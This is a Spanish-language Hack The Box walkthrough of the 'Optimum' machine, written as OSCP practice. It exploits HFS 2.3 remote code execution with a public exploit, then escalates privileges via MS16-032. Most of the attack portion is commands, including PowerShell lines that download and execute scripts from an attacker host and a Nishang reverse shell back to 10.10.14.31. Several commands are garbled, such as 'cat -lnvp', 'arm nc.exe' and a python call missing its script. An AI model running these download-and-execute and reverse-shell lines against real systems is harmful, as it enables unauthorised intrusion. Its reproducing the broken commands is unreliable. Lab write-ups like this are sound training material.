Hack the Box es una plataforma en línea para probar y mejorar tus habilidades en pruebas de penetración y ciberseguridad.
En esta serie de artículos mostraremos cómo los evaluadores junior completan algunas máquinas de Hack The Box en su camino hacia OSCP, una certificación muy conocida, respetada y requerida para muchos puestos de ciberseguridad. Los certificados OSCP son capaces de identificar las vulnerabilidades existentes y ejecutar ataques organizados de manera controlada. Pueden aprovechar o modificar el código de exploits existentes en su beneficio, realizar pivoting en la red y exfiltrar datos, y comprometer los sistemas debido a configuraciones deficientes.
¡Empecemos con la diversión!
Optimum
Initial Foothold
Hay un HTTP File Server
(HFS) versión 2.3
en el puerto 80.
Haciendo searchsploit HFS
encontramos uno con RCE para la versión 2.3.x
.
Usuario
- Refleja el exploit:
searchsploit -m 39161.py
. - Renombrarlo:
mv 39161.py hts.py
. - Iniciar el puerto escucha:
cat -lnvp 12345
. - Modifica el exploit para que coincida con nuestra dirección IP local y el puerto
12345
. - Descargar
nc
para windows:wget https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip
. unzip netcat-win32-1.11.zip
el archivo ycd
al directorio.- (IMPORTANTE) Reemplaza
cnc.exe
por el binario de 64 bits:arm nc.exe
ymv nc64.exe nc.exe
. - Arrancar y servidor http en el puerto 80:
python3 -m http.server 80
- Ejecuta el exploit dos veces:
python3 10.10.10.8 80
. - Nuestro
ncat
de escucha debería haber cogido una shell.
Root
Actualiza a Powershell
, consulta CMD
. Desde allí, podemos descargar
Sherlock.ps1
para comprobar rápidamente los diferentes CVEs. Mientras que Watson
es mejor, sólo soporta
Windows Server 2016 y 2019.
Parece que es vulnerable al MS16-032
.
Si usamos el de Exploit-db
, dice que funciona pero que no genera una shell. Aparentemente...
Intenté crear una terminal gráfica, así que no funciona.
Hay una versión modificada del guión en Powershell-empire
. Añade la siguiente línea al final:
Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.31:8000/shell.ps1')"
Shell.ps1
también viene de Powershell-empire
que es: usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1
.
Añade esta línea al final:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.31 -Port 6969
Configura un servidor http de Python: python3 -m http.server
. (El puerto por defecto es el puerto 8000).
Configurar un puerto de escucha: ncat -lnvp 6969
.
Finalmente, en la ejecución de la víctima: IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31:8000/Invoke-MS16032.ps1')